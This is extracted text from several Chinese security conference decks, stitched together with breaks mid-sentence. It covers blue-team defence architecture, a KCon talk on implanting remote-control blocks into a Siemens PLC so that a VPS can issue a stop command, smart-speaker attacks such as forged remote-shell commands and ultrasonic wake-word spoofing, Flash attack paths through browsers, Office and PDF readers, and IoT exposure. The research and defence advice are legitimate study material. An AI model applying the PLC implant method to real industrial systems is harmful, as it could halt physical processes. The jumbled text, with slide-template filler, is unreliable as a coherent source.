269、透所有防守和監控設備,防守者對此往往無能為力。防守單位可通過與更專業的安全廠商合作,建立漏洞通報機制,安全廠商應將檢測到的與防守單位信息資產相關的0day或Nday漏洞快速通報給防守單位。防守單位根據獲得的情報,參考安全廠商提供的解決方案,迅速自查處置,將損失減到最少。實戰攻防演習之藍隊視角下的防御體系構建17第四章 建立實戰化的安全體系安全的對抗是動態的過程。業務在發展,網絡在變化,技術在變化,人員在變化,攻擊手段也在不斷變化。網絡安全沒有“一招鮮”的方式,需要在日常工作中,不斷積累不斷創新,不斷適應變化。面對隨時可能威脅系統的各種攻擊,不能臨陣磨槍、倉促應對,必須立足根本、打好基礎,加強安
270、全建設、優化安全運維,并針對各種攻擊事件采取重點防護。藍隊或防守單位不應以“修修補補,哪里出問題堵哪里”的思維來解決問題,而應未雨綢繆,從管理、技術、運行等方面建立實戰化的安全體系,有效應對實戰環境下的安全挑戰。一、認證機制逐步向零信任架構演進從實戰攻防對抗的結果來看,傳統網絡安全邊界正在被瓦解,無窮無盡的攻擊手段導致單位網絡安全防護措施難以起到效果,網絡是不可信任的。在這種情況下,應該將關注點從“攻擊面”向“保護面”上轉移,而零信任安全則是從“保護面”上考慮,提出了解決安全問題,提高防御能力的一種新思路。零信任安全針對傳統邊界安全架構思想進行了重新評估和審視,并對安全架構思路給出了新的建議,
271、其實戰攻防演習之藍隊視角下的防御體系構建18核心思想是:默認情況下不應該信任網絡內部和外部的任何人、設備和系統,需要基于認證和授權重構訪問控制的信任基礎。零信任對訪問控制進行了范式上的顛覆,引導安全體系架構從網絡中心化走向身份中心化,其本質訴求是以身份為中心進行訪問控制。零信任體系會將訪問控制權從邊界轉移到個人設備與用戶上,打破傳統邊界防護思維,建立以身份為信任基礎的機制,遵循先驗證設備和用戶、后訪問業務的原則,不再自動信任內部或外部任何人、設備和應用,在授權前對任何試圖接入網絡和訪問業務應用的人、設備或應用都進行驗證,并提供動態的細粒度訪問控制策略以滿足最小權限原則。零信任體系把防護措施建立
272、在應用層面,構建從訪問主體到客體之間端到端的、最小授權的業務應用動態訪問控制機制,極大地收縮了攻擊面。零信任安全在實踐機制上擁抱灰度,兼顧難以窮盡的邊界情況,最終以安全與易用平衡的持續認證,改進原有固化的一次性強認證,以基于風險和信任持續度量的動態授權替代簡單的二值判定靜態授權,以開放智能的身份治理優化封閉僵化的身份管理,提升了對內外部攻擊和身份欺詐的發現和響應能力。建議單位網絡安全基礎架構逐步向零信任體系演進。實戰攻防演習之藍隊視角下的防御體系構建19二、建立面向實戰的縱深防御體系實戰攻防演習的真實對抗表明,攻防是不對稱的,通常情況下,攻擊只需要撕開一個點,就會有所“收獲”,甚至可以通過攻擊
273、一個點,拿下一座“城池”;但對于防守工作來說,考慮的卻是安全工作的方方面面,僅關注某個或某些防護點,已經滿足不了防護需求。實戰攻防演習過程中,攻擊者或多或少還有些攻擊約束要求,但真實的網絡攻擊則完全無拘無束,與實戰攻防演習相比較,真實的網絡攻擊更加隱蔽而強大。為應對真實網絡攻擊行為,僅僅建立合規型的安全體系是遠遠不夠的。隨著云計算、大數據、人工智能等新型技術的廣泛應用,信息基礎架構層面變得更加復雜,傳統的安全思路已越來越難以適應安全保障能力的要求。必須通過新思路、新技術、新方法,從體系化的規劃和建設角度,建立縱深防御體系架構,整體提升面向實戰的防護能力。從應對實戰角度出發,對現有安全架構進行梳
274、理,以安全能力建設為核心思路,面向主要風險重新設計企業整體安全架構,通過多種安全能力的組合和結構性設計形成真正的縱深防御體系,并努力將安全工作前移,確保安全與信息化“三同步”(同步規劃、同步實戰攻防演習之藍隊視角下的防御體系構建20建設、同步使用),建立起能夠具備實戰防護能力、有效應對高級威脅、持續迭代演進提升的安全防御體系。三、強化行之有效的威脅監測手段在實戰攻防對抗中,監測分析是發現攻擊行為的主要方式,在第一時間發現攻擊行為,可為應對和響應處置提供及時支撐,威脅監測手段在防護工作中至關重要。通過對多個單位安全防護工作進行總結分析,威脅監測手段方面存在的問題主要是:1)沒有針對全流量威脅進行
275、監測,導致分析溯源工作無法開展;2)有全流量威脅監測手段,但流量覆蓋不完全,存在監測盲區;3)只關注網絡監測,忽視主機層面的監測,當主機發生異常時不易察覺;4)缺乏對郵件安全的監測,使得釣魚郵件,惡意附件在網絡中暢通無阻;5)沒有變被動為主動,缺乏蜜罐等技術手段,無法捕獲攻擊、進一步分析攻擊行為。實戰攻防演習之藍隊視角下的防御體系構建21針對上述存在的問題,強化行之有效的威脅監測手段,建立以全流量威脅監測分析為“大腦”,以主機監測、郵件安全監測為“觸角”,以蜜罐監測為“陷阱”,以失陷檢測為輔助手段的全方位安全監測機制,更加有效地滿足實戰環境下的安全防守要求。四、建立閉環的安全運營模式分析發現,
276、凡是日常安全工作做得較好的單位,基本都能夠在實戰攻防演習時較快地發現攻擊行為,各部門之間能夠按照約定的流程,配合得當、快速完成事件處置,在自身防護能力、人員協同等方面較好地應對攻擊。反之,日常安全工作較差的單位,大多都會暴露出如下問題:很多基礎性工作沒有開展,缺少相應的技術保障措施,自身防護能力欠缺;日常安全運維不到位,流程紊亂,各部門人員配合難度大。這些問題導致攻擊行為不能被及時監測,攻擊者來去自由;即便是好不容易發現了入侵行為,也往往會因資產歸屬不清、人員配合不順暢等因素,造成處置工作進度緩慢。這就給了攻擊者大量的可乘之機,最后的結果往往是目標系統輕而易舉地被攻陷。所以,政企機構應進一步做
277、好安全運營工作,建立實戰攻防演習之藍隊視角下的防御體系構建22閉環的安全運營體系:通過內部威脅預測、外部威脅情報共享、定期開展暴露資產發現、安全檢查等工作,實現攻擊預測,提前預防的目的;通過開展安全策略優化、安全基線評估加固、系統上線安全檢查、安全產品運行維護等工作,建立威脅防護能力;通過全流量風險分析、應用失陷檢測、滲透測試、蜜罐誘導等手段,對安全事件能進行持續檢測,減少威脅停留時間;通過開展實戰攻防演習、安全事件研判分析、規范安全事件處置流程,對安全事件及時進行控制,降低危害影響,形成快速處置和響應機制。閉環安全運營體系非常重視人的作用。配備專門的人員來完成監控、分析、響應、處置等重要環節
278、的工作,在日常工作中讓所有參與人員能夠熟悉工作流程、協同作戰,使得團隊能不斷得到強化鍛煉,這樣在實戰時中才能從容面對各類挑戰。安全防御能力的形成并非一蹴而就,單位管理者應重視安全體系建設,建立起“以人員為核心、以數據為實戰攻防演習之藍隊視角下的防御體系構建23基礎、以運營為手段”的安全運營模式,逐步形成威脅預測、威脅防護、持續檢測、響應處置的閉環安全工作流程,打造“四位一體”的閉環安全運營體系,通過日常網絡安全建設和安全運營的日積月累,建立起相應的安全技術、管理、運營體系,形成面向實戰的安全防御能力。實戰攻防演習之藍隊視角下的防御體系構建24附錄 奇安信藍隊能力及攻防實踐自2016年奇安信集團
279、協助相關部委首次承辦網絡實戰攻防演習以來,這種新的網絡安全檢驗模式已經有了長足的發展。2016年至2019年上半年,奇安信集團參與了全國范圍內139場實戰攻防演習的藍隊活動,其中參與監管部門組織的防守47場,參與行業主管部門組織的防守35場,參與各政企單位組織的防守57場。在2016年至2019年上半年的網絡實戰攻防演習中,奇安信集團共協助302家政企機構開展現場防守工作,涉及34個行業,共投入現場防守團隊1856人次,二線專家與遠程支持團隊510人次,后勤保障團隊126人次,累計投入約24920人日。實戰攻防演習之藍隊視角下的防御體系構建25中國.北京 KCon黑客大會工業PLC遠程控制實現
280、2 0 1 8PART 01個人介紹目錄CONTENTSPART 02架構/工具PART 03遠控滲透010203PART 02構架/工具VPS Kali邊界路由器核心防火墻工業交換機P-NAT關閉102端口STEP7 工程師站S7-315-PN/DP互聯網企業邊緣網絡企業內網網絡 企業工廠網絡http:/ add-apt-repository ppa:gijzelaar/snap7$sudo apt-get update$sudo apt-get install libsnap71 libsnap7-dev$pip install python-snap7PART 03遠控滲透悄無聲息PLC
281、遠控代碼植入不能造成PLC重啟FB64 TCONFB65 TSENDFB66 TRCVFB67 TDISCONPLC IP地址PLC CPU槽號Block類型和No.上載遠控功能塊存儲功能塊為MC7連接被遠控PLC裝載功能塊MC7文件下裝MC7文件到PLCPLC內完整的遠控植入程序TCP建立連接參數聲明數據類型存儲區描述REQ INPUTBOOLI、Q、M、D、L控制參數REQUEST啟動建立由ID指定的連接的作業。作業在上升沿啟動。IDINPUTWORDM、D、常數 與遠程伙伴之間建立的連接或用戶程序和操作系統通信層之間建立的連接的標識號。標識號必須與本地連接描述中的相關參數標識號相同。取值
282、范圍:W#16#0001至W#16#0FFFDONEOUTPUT BOOLI、Q、M、D、LDONE狀態參數:0:作業尚未開始或仍在運行。1:無錯執行作業。BUSYOUTPUT BOOLI、Q、M、D、LBUSY=1:作業尚未完成。BUSY=0:作業完成。ERROROUTPUT BOOLI、Q、M、D、LERROR狀態參數:?ERROR=1:處理作業期間出現錯誤。STATUS返回有關錯誤類型的詳細信息STATUSOUTPUT WORDM、DSTATUS狀態參數:故障信息CONNECTIN_OUTANY D指向相關連接說明的指針(UDT 65),參見為使用TCP和ISO on TCP的開放通信連
283、接分配參數和為使用UDP的本地通信接入點分配參數 TCP發送數據參數聲明數據類型存儲區描述REQ INPUTBOOLI、Q、M、D、L控制參數REQUEST在上升沿開始發送作業。數據從由DATA和LEN指定的區域傳送。IDINPUTWORDM、D、常數 將終止對連接的引用。標識號必須與本地連接描述中的相關參數標識號相同。取值范圍:W#16#0001至W#16#0FFFLEN INPUTINT I、Q、M、D、L要使用作業發送的最大字節數參見使用的CPU和協議變量(connection_type)和可傳送數據長度之間的關系DONEOUTPUT BOOLI、Q、M、D、LDONE狀態參數:0:作業
284、尚未開始或仍在運行。1:無錯執行作業。BUSYOUTPUT BOOLI、Q、M、D、LBUSY=1:作業尚未完成。無法觸發新作業。?BUSY=0:作業完成。ERROROUTPUT BOOLI、Q、M、D、LERROR狀態參數:ERROR=1:處理時出錯。STATUS提供有關錯誤類型的詳細信息STATUSOUTPUT WORDM、DSTATUS狀態參數:故障信息DATAIN_OUTANY I、Q、M、D 發送區域包含地址和長度地址指的是:輸入過程映像?輸出過程映像?存儲器位?數據塊注意:不要使用BOOL類型的ARRAY作為發送區域。參數聲明數據類型存儲區描述EN_RINPUTBOOLI、Q、M、
285、D、L使能接收的控制參數:EN_R=?時,FB 64 TRCV準備接收。正在處理接收作業。IDINPUTWORDM、D、常數 將終止對連接的引用。標識號必須與本地連接描述中的相關參數標識號相同。取值范圍:W#16#0001至W#16#0FFFLEN INPUTINT I、Q、M、D、L接收區域的長度(以字節為單位)關于LEN=?或LEN?的含義,請參見上文(FB64 TRCV的接收模式)。對于值的范圍,請參見使用的CPU和協議變量(connection_type)和可傳送數據長度之間的關系。NDROUTPUT BOOLI、Q、M、D、LNDR狀態參數:?NDR=0:作業尚未開始或仍在運行。?N
286、DR=1:作業成功完成ERROROUTPUT BOOLI、Q、M、D、LERROR狀態參數:?ERROR=1:處理時出錯。STATUS提供有關錯誤類型的詳細信息BUSYOUTPUT BOOLI、Q、M、D、L?BUSY=1:作業尚未完成。無法觸發新作業。?BUSY=0:作業完成。STATUSOUTPUT WORDM、DSTATUS狀態參數:故障信息RCVD_LENOUTPUT INT I、Q、M、D、L實際接收到的數據量(字節)DATAIN_OUTANY I、Q、M、D 接收區域(定義見上文)包含地址和長度地址指的是:?輸入過程映像?輸出過程映像?存儲器位?數據塊注意:不要使用BOOL類型的A
287、RRAY作為接收區域。TCP接受數據TCP斷開連接參數聲明數據類型存儲區描述REQ INPUTBOOLI、Q、M、D、L控制參數REQUEST啟動終止由ID指定的連接的作業。作業在上升沿上啟動。IDINPUTWORDM、D、常數 將與遠程伙伴終止的連接或用戶程序和操作系統通信層之間的連接的標識號。標識號必須與本地連接描述中的相關參數標識號相同。取值范圍:W#16#0001至W#16#0FFFDONEOUTPUT BOOLI、Q、M、D、LDONE狀態參數:0:作業尚未開始或仍在運行。1:無錯執行作業。BUSYOUTPUT BOOLI、Q、M、D、LBUSY=1:作業尚未完成。BUSY=0:作業
288、完成。ERROROUTPUT BOOLI、Q、M、D、LERROR狀態參數:?ERROR=1:處理時出錯。STATUS提供有關錯誤類型的詳細信息STATUSOUTPUT WORDM、DSTATUS狀態參數:故障信息VPS的固定IP地址VPS的監聽的端口PLC內OB35調用FB1判斷指令執行停機VPS上Kali運行TCP server監聽,連接后發送停機標志防御的方法:1、物理和環境安全2、PLC接入授權和項目加密3、PLC出口增設DPI防火墻(禁止對PLC下載)4、核心防火墻切斷工業網絡直接接入,設置DMZ區域5、增加接入的身份認證和授權謝謝觀看2019啟明星辰ADLab智能語音設備安全研究P
289、ART 01背景目錄CONTENTSPART 02網絡安全PART 03語音安全PART 04隱私審計01020304PART 01背景語音正成為人與設備交互的方式語音包括相當豐富的信息 性別.年齡 環境.健康 想法.情緒 籍貫我們研究的對象我們關注的點安全及隱私PART 02網絡安全音箱網絡架構云平臺客戶端智能音箱https/mqttshttps/mqttsdlna/藍牙智能設備自定協議云平臺的特權命令/打開遠程shell/更換語音云服務地址/system(*)智能音箱云平臺客戶端偽造特權命令智能音箱攻擊演示-特權命令智能音箱攻擊演示-設備間通信當房間里存在多個音箱時,多個音箱之間需要協商,
290、決定由哪個音箱來響應用戶的語音命令多音箱場景能量列表里最大的IP接受語音命令偽造語音廣播(能量:99.00,IP:192.168.1.2)攻擊者(IP:192.168.1.3)目標音箱(IP:192.168.1.2)多音箱場景設備廣播智能音箱偽電視設備偽造訪問設備網址,確認設備是目標設備我要看成龍的電影我要看成龍的電影智能音箱偽電視設備偽造漏洞列表漏洞編號危害CNVD-2019-13611、CNVD-2019-06254CNVD-2019-05625、CNVD-2019-05626遠程命令執行、遠程代碼執行CNVD-2019-07688、CNVD-2019-15526播放惡意音頻CNVD-20
291、19-12111、CNVD-2019-13278敏感信息泄漏CNVD-2019-12775語音竊聽PART 03語音及內容安全語音安全語音喚醒/聲紋識別聲音傳播語音識別/語義理解內容超聲波超聲波攻擊聽不到識別次聲波人耳可聽聲超聲波20hz20Khz超聲波攻擊-演示1.筆記本電腦喇叭性能的提升使得攻擊者無需額外硬件即可發出超聲波信號。2.新型的智能手機依然存在問題1.基于韻母的攻擊 語音識別攻擊-基于發音模型的攻擊每個漢字的發音都是由聲母、韻母兩部分構成的。聲母部分發音時間短,信號變化劇烈;而韻母部分發音時間長,是聲帶共鳴產生,攜帶了音節的大部分能量。韻母是由元音或元音加輔音組成。某喚醒詞算法主
292、要根據元音來判斷1.上海同學(shang hai tong xue)2.小愛同學(xiao ai tong xue)喚醒詞識別攻擊示意小愛同學上海同學喚醒詞識別攻擊-演示聲紋識別語音VAD聲紋數據庫語音VAD特征提取算法有效語音提取有效語音提取聲紋特征提取聲紋特征提取特征比對模式比對算法聲紋錄入聲紋識別常見的聲紋算法攻擊 拼接合成攻擊 樣本攻擊 持續語速變化攻擊 端到端攻擊 錄音攻擊(D1+D2+D3+D8)/8(80+80+80+40+40+40+40+40)/8=55 聲紋識別攻擊-聲紋比對算法黑客聲音聲紋驗證執行語音命令聲音識別算法攻擊-聲紋比對算法 聲紋識別沒有錯誤次數限制 持續變化語
293、速導致評分標準浮動大 中性的聲音得分較高聲紋識別算法-攻擊演示語音命令敏感詞內容安全獲取應答內容文字轉語音播放語義識別內容安全-攻擊演示語音命令中英文敏感詞內容安全獲取應答內容文字轉語音播放語義識別中英文敏感詞PART 04隱私審計隱私權權利內容用戶有權力決定哪些他本人的信息可以被收集,什么時候收集、什么地點收集。用戶有權力了解和決定這些數據是如何被收集的,這些數據將對誰共享,為什么要對他人分享,如何對他人分享。語音設備使用場景的隱私泄露階段敏感信息設備注冊階段地理位置,周邊WIfi信息,路由器MAC地址,WI-FI密碼,已安裝應用情況,短/彩信設備使用階段音頻信息,通信錄,設備使用情況,業務
294、的使用情況,日志,音視頻信息標號幾種常見的隱私風險問題點危害誤喚醒泄漏通話內容APP權限泄漏通信錄等敏感信息日志收集泄漏Wifi密碼等信息API接口合作廠家可以獲得非業務需要的敏感信息明文通信泄漏用戶賬戶及密碼等信息總結物物間通信場景更多:聲紋識別算法:公眾對隱私的關注度越來越高:需要關注設備間認證的安全 大多商用算法還不成熟 需要關注設備及數據的隱私保護感謝ADLab小伙伴 KCon組委會謝謝觀看2019McAfee消滅Flash,徹底消除它 一份關于Flash攻擊途徑的全面的研究報告PART 01目錄CONTENTSPART 02背景介紹PART 03PART 040102050403PA
295、RT 05Flash在瀏覽器環境中的攻擊途徑Flash在Microsoft Office中的攻擊途徑Flash在PDF中的攻擊途徑總結CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TEXT,CLICK ON ADD RELATED TITLE WORDS.PART.01背景介紹背景介紹背景介紹Adobe Flash-多媒體軟件平臺(超過十億臺設備)Flash技術的廣泛使用動畫/多媒體互聯網內容(超過三百萬flash內容開發者)桌面應用程序,移動應用程序,移動游戲Appl
296、e App Store/Google Play Store有超過兩萬的移動應用Facebook排名前二十五的游戲有二十四個使用Flash中國排名前九的使用flash技術的游戲每月產生超過七千萬美元的效益瀏覽器視頻播放器Flash技術的廣泛使用所帶來的問題Flash技術跨平臺,攻擊路徑多Flash本身沒有安全機制用戶更新慢(四百萬臺式機用戶在新版本發布六個月內升級)Flash 當之無愧的漏洞高發的重災區0-day之王-2011年以來使用flash漏洞的0-day攻擊的不完全統計CVE-2011-0609 CVE-2011-0611 CVE-2011-2110 CVE-2012-0779 CVE-
297、2012-1535 CVE-2012-5054 CVE-2013-0634 CVE-2013-5331 CVE-2014-0497 CVE-2014-0502 CVE-2014-0515 CVE-2014-8439 CVE-2014-9163 CVE-2015-0310 CVE-2015-0311 CVE-2015-0313 CVE-2015-3043 CVE-2015-3113 CVE-2015-5119 CVE-2015-5123 CVE-2015-5122 CVE-2015-7645 CVE-2015-8651 CVE-2016-0984 CVE-2016-1010 CVE-2016-1
298、019 CVE-2016-4117 CVE-2016-4171 CVE-2016-7855 CVE-2016-7892 CVE-2017-11292 CVE-2018-4878 CVE-2018-5002 CVE-2018-15982Flash exploit是如何被傳送的?Flash文件(.swf)無法直接被打開Flash是以插件的形式存在并運行在其它宿主應用程序(瀏覽器,Microsoft Office,PDF)內部CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TE
299、XT,CLICK ON ADD RELATED TITLE WORDS.PART.02Flash在瀏覽器環境中的攻擊途徑在瀏覽器環境中的攻擊途徑Flash在瀏覽器環境中的攻擊途徑四大主流瀏覽器上的Flash攻擊途徑Google ChromeMicrosoft EdgeMicrosoft Internet ExplorerMozilla Firefox主流瀏覽器Flash攻擊的緩解及封殺機制Click-to-play沙盒(sandbox)Flash在瀏覽器環境中的攻擊途徑-Chrome自帶Flash版本,Pepper Flash PlayerChrome是第一個采取措施限制Flash使用的瀏覽器
300、,最早開始于2015年6月(https:/ 8+,這個版本的Flash是默認安裝的)Edge從2016年12月開始限制Flash內容,到目前為止,幾乎所有Flash內容都要求click-to-playFlash在瀏覽器環境中的攻擊途徑-EdgeEdge的白名單2018年11月,Google P0研究員Ivan Fratric發現這里有個白名單(https:/bugs.chromium.org/p/project-zero/issues/detail?id=1722)白名單上的網站的Flash內容依然能自動播放后來,微軟把這個白名單縮小到兩個域名https:/https:/Ivan Fratri
301、c在2018年12月發現Edge上的這個click-to-play的功能可以被繞過(https:/bugs.chromium.org/p/project-zero/issues/detail?id=1747)Flash在瀏覽器環境中的攻擊途徑 Internet Explorer和Edge一樣,IE也是直接使用Windows上COM形式的Flash插件但是,和Chrome/Edge不同的是,IE上根本沒有click-to-play這個功能。事實上,微軟根本沒有采取任何措施來緩解或限制Flash在IE上的使用還是和以前一樣,Flash內容會直接運行!Flash在瀏覽器環境中的攻擊途徑 FireFo
302、xFirefox上沒有默認安裝的Flash程序。如果Firefox用戶需要播放Flash,必須手動去Adobe網站安裝適合Firefox的(NPAPI架構)Flash插件安裝好Flash插件后,網站的Flash內容也不會自動播放,仍需要click-to-playFlash在瀏覽器環境中的攻擊途徑 小結瀏覽器下的攻擊封殺機制-Click-to-Play瀏覽器下的攻擊緩解機制-沙箱瀏覽器Flash 插件的架構Click-to-play引入日期Google ChromePPAPI(Pepper Flash)YesJun 2015Microsoft EdgeWindows ActiveX/COMYes
303、December 2016Internet ExplorerWindows ActiveX/COMNoN/AMozilla FirefoxNPAPIYesAugust 2017CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TEXT,CLICK ON ADD RELATED TITLE WORDS.PART.03Flash在在Microsoft Office中的攻擊途徑中的攻擊途徑Flash在Microsoft Office中的攻擊途徑 -Flash in Office2
304、018年5月之前,Flash內容可在Office上直接播放(以ActiveX/OLE對象的形式),這就給攻擊者提供了一種利用Flash漏洞的攻擊途徑過去兩年來,我們看到了一個清晰的轉向:攻擊者們更多地使用Office來傳播他們的Flash 0-day(之前更多地是利用瀏覽器)時間CVE文件類型2017年10月CVE-2017-11292Word2018年2月CVE-2018-4878Excel2018年6月CVE-2018-5002Excel2018年12月CVE-2018-15982WordFlash在Microsoft Office中的攻擊途徑-Flash in Office微軟的動作20
305、18年5月14號,微軟宣布它將開始在Office上禁用Flash內容。依據其blog,該措施只針對于Office 365用戶,具體計劃是:Office 365 Monthly Channel用戶開始于2018年6月Office 365 Semi Annual Targeted(SAT)Channel用戶開始于2018年9月Office 365 Semi Annual(SA)Channel用戶開始于2019年1月我們對所有版本Office都做了測試后發現這次微軟的動作不僅限于Office 365訂閱用戶。至少從2018年底開始,Office 2016和最新的Office 2019也已經禁用了Fl
306、ash內容受支持的Office版本里只剩下Office 2010和Office 2013微軟沒有采取行動Flash在Microsoft Office中的攻擊途徑-Flash in OfficeAdobe的動作以前,如果在Office里嘗試運行Flash內容,Flash Player插件會先檢查當前的container(Office)版本,如果其低于2010(比如Office 2007),則會彈出對話框,要求用戶確認后Flash內容才會運行這稱之為Flash for Office的click-to-play如果是Office 2010或更高的版本,則不受此影響在2018年7月發布的Flash P
307、layer 30.0.0.113版本上,Adobe將上述的功能推廣到了所有Office版本上由于有了Adobe的動作,之前微軟行動沒有覆蓋的Office 2010和Office 2013也被覆蓋了Flash在Microsoft Office中的攻擊途徑-Flash in Office小結整個Flash in Office的攻擊途徑隨著用戶都升級了他們的Office和Flash,這個經典的攻擊途徑就基本上消失了關于2018年Flash 0-day爆發原因的猜測我們猜測,正是由于Adobe和Microsoft的這些動作,去年我們看到了一波Flash 0-day的集中爆發因為,攻擊者們也看到了這個趨
308、勢。隨著這個攻擊途徑的消失,如果不及時變現,他們手上的Flash 0-day將會變得毫無價值Office版本措施Office 2010/2013彈click-to-play對話框Office 2016/2019/365徹底禁止Flash在Microsoft Office中的攻擊途徑-Flash via Office2018年2月,安全研究員揭示了一種稱之為Flash via Office(通過Office播放Flash)的新方法(https:/ online video)的功能,可以讓用戶通過IE訪問他們設置的任意網站。這個網站上的Flash內容將被直接播放。Flash在Microsoft O
309、ffice中的攻擊途徑-Flash via OfficeFlash via Office與Flash in Office攻擊途徑的不同Flash via Office過程中不存在click-to-play,因此繞過了之前討論的Microsoft和Adobe的所有緩解措施Flash via Office攻擊過程并不是自動伴隨Word文檔被打開就自動運行,而是需要用戶點擊文檔上的一個object。只需要單擊一下,期間沒有任何警告,攻擊者可用圖片來誘導用戶點擊Flash in Office中Flash插件是運行在Office的進程中;Flash via Office中Flash插件則是運行在IE進程
310、中(IE進程是以COM模式啟動的)Flash in Office不需要考慮沙盒的問題;Flash via Office的Flash插件則是運行在IE的沙盒(這其實不算是個問題,因為IE的沙盒其實很弱,網上都有公開的未被修復的逃逸IE沙盒的方法)Flash via Office只適用于Office 2013及更新的版本,不適用于Office 2010(影響可忽略)Flash在Microsoft Office中的攻擊途徑-Flash via Office演示Flash在Microsoft Office中的攻擊途徑-Flash via Office小結Flash via Office攻擊途徑是一個對
311、經典的Flash in Office攻擊途徑很好的替代它使得使用Office文件發起利用Flash漏洞的攻擊再次成為可能作為防護者,我們建議應特別注意野外的含有此類特征的Word文檔CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TEXT,CLICK ON ADD RELATED TITLE WORDS.PART.04Flash在在PDF中的攻擊途徑中的攻擊途徑Flash在PDF中的攻擊途徑 很少有人探討過Flash在PDF中的攻擊途徑我們的研究針對兩款Windows上最
312、流行的PDF閱讀軟件Adobe ReaderFoxit ReaderFlash在PDF中的攻擊途徑 Adobe Reader一個嵌入了Flash內容的PDF文件被Adobe Reader打開,Flash內容不會被播放。Adobe Reader會提示引導用戶去安裝(NPAPI架構的)Flash Player插件程序。一旦這個Flash插件被安裝,PDF文件里的Flash內容就可以自動播放了。整個過程沒有click-to-play。Adobe Reader中的Flash攻擊安全隱患Adobe Reader用戶可能不會在被提示前主動安裝這個(NPAPI架構的)Flash插件。但是,如果這個用戶同時也
313、使用Firefox呢?如果用戶在使用Firefox的時候確實需要播放一些Flash內容,他會去下載安裝(NPAPI架構的)Flash插件。該用戶認為使用Firefox不會有不可控的安全問題,因為每次用Firefox瀏覽Flash內容的時候都會提示click-to-play。但是他并沒有意識到下次使用Adobe Reader閱讀(攻擊者發送的)PDF文檔時,其中的Flash exploit會自動運行!Adobe Reader也是使用同一款Flash插件;Adobe Reader播放Flash內容的時候沒有click-to-playFlash在PDF中的攻擊途徑 Foxit ReaderFoxit
314、 Reader安全閱讀模式(Safe Reading Mode)的開啟與否決定了Foxit Reader上的Flash攻擊是否可行安全閱讀模式沒有開啟時會自動播放PDF里的Flash內容。全新安裝的Foxit Reader默認開啟其安全閱讀模式和Adobe Reader使用NPAPI架構的Flash插件不同,Foxit Reader使用的是(Windows 8/8.1/10默認安裝)的COM架構的Flash插件Foxit Reader沒有沙箱,因此Flash插件會直接以中等特權(medium integrity level)運行Flash在PDF中的攻擊途徑 Foxit Reader演示演示:
315、Foxit Reader上開啟和禁用安全閱讀模式的情況下打開含有Flash內容的PDF文件Flash在PDF中的攻擊途徑 Foxit ReaderFoxit Reader上的安全閱讀模式的管理存在的安全隱患(其安全閱讀模式很容易在用戶不知情下被禁用)安全閱讀模式的問題一(安全閱讀模式很容易被用戶在不經意間禁用)比如,如果Foxit Reader打開一種嵌入了文件的PDF時會彈一個如下的對話框提示用戶如果用戶簡單地點擊OK或者直接按回車鍵的話,安全閱讀模式就直接被禁用了Flash在PDF中的攻擊途徑 Foxit Reader安全閱讀模式的問題二(安全閱讀模式在Foxit Reader升級的過程中
316、直接被禁用了)我們在Windows全新安裝一個9.4.1.16828舊版的Foxit Reader。安裝中所有選項都是默認選項。設置顯示安全閱讀模式是開啟的。Flash在PDF中的攻擊途徑 Foxit Reader安全閱讀模式的問題二我們通過其自帶的升級功能來升級Foxit Reader到2019年8月最新的9.6.0.25114版本。安裝過程中所有選項也都是默認選項。升級后設置顯示安全閱讀模式被禁用了。Flash在PDF中的攻擊途徑 Foxit Reader去官方網站下載最新的9.6.0.25114版Foxit Reader,在全新的系統里默認安裝后,設置顯示安全閱讀模式是開啟的。這個實驗證
317、明,安全閱讀模式被禁用不是Foxit Reader新版本的問題,而是Foxit Reader自帶的升級程序的問題升級程序在升級過程中改變了Foxit Reader的設置從而使得安全閱讀模式被禁用!Flash在PDF中的攻擊途徑 Foxit Reader小結Foxit Reader的升級程序會在用戶不知情的情況下禁用安全閱讀模式選項!而現實情況是,隨著時間的推移,越來越多的用戶的Foxit Reader的安全閱讀模式會被禁用因為用戶肯定在某一時刻會升級一旦升級,安全閱讀模式就會被禁用安全閱讀模式被禁用意味著用戶打開PDF會有危險-會被嵌入到PDF里的惡意Flash攻擊!Haifei已經向Foxi
318、t公司報告了此漏洞。Foxit公司在八月十五號修復了該漏洞。(CVE待分配)CLICK ADD RELATED TITLE TEXT,AND CLICK ADD RELATED TITLE TEXT,CLICK ADD RELATED TITLE TEXT,CLICK ON ADD RELATED TITLE WORDS.PART.05總結總結我們深入討論了各種流行應用程序上的Flash的攻擊途徑瀏覽器Chrome,Edge和Firefox上所采取的限制Flash攻擊的努力(click-to-play)極大地阻斷了Flash的攻擊IE的一大弱點是沒有針對Flash攻擊采取任何緩解措施Micro
319、soft Office2018年中以來Microsoft和Adobe采取的措施幾乎成功地封殺了所有Office上的經典的攻擊途徑。我們相信2018年Microsoft和Adobe對Flash所推出的防護措施是同時期Flash 0-day爆發的主要誘因。新的Flash via Office的攻擊方式值得重視PDF閱讀程序Adobe Reader存在一個安全隱患(通過FireFox插件的安裝)Foxit Reader的問題更大,我們強烈建議用戶定期檢查其安全閱讀模式的開啟關于未來瀏覽器。我們認為現代瀏覽器不會是Flash攻擊的主要途徑。手上藏有Flash 0-day的攻擊者可能會重新將IE用戶做為
320、攻擊目標。Microsoft Office。攻擊者可能會利用新發布的Flash via Office技術來實施基于Office文件的攻擊。PDF。關于PDF閱讀器,攻擊者會針對脆弱的Foxit Reader用戶嗎?這個只能靠時間來說話了。PART 01簡介目錄CONTENTSPART 02IPv4地址變化PART 03分析PART 04IPv6地址變化01020304PART 05影響與建議05PART 01網 絡 空 間 引 擎 與 物 聯 網 資 產 識 別 簡 介唐人街探案2中片段挪威 Finse 1222酒店圖片來源于網絡網 絡 空 間 搜 索 引 擎物 聯 網 資 產 暴 露 概 況
321、資產協議探測Banner 設備識別Label41,791 993,445 4,752,926 4,239,729 473,501 1,319,448 21,252,312 27,957,765 0 5,000,000 10,000,000 15,000,000 20,000,000 25,000,000 30,000,000 打印機VoIP電話攝像頭路由器設備類型全球中國全 球 和 國 內 物 聯 網 相 關 設 備 暴 露 概 況(2 0 1 8 全 年 數 據)資產發現過程DrDoSMirai變種仍然在活躍的發動攻擊利用路由器和攝像頭的反射攻擊事件飆升圖片來源于網絡搜索到的物聯網設備服務已
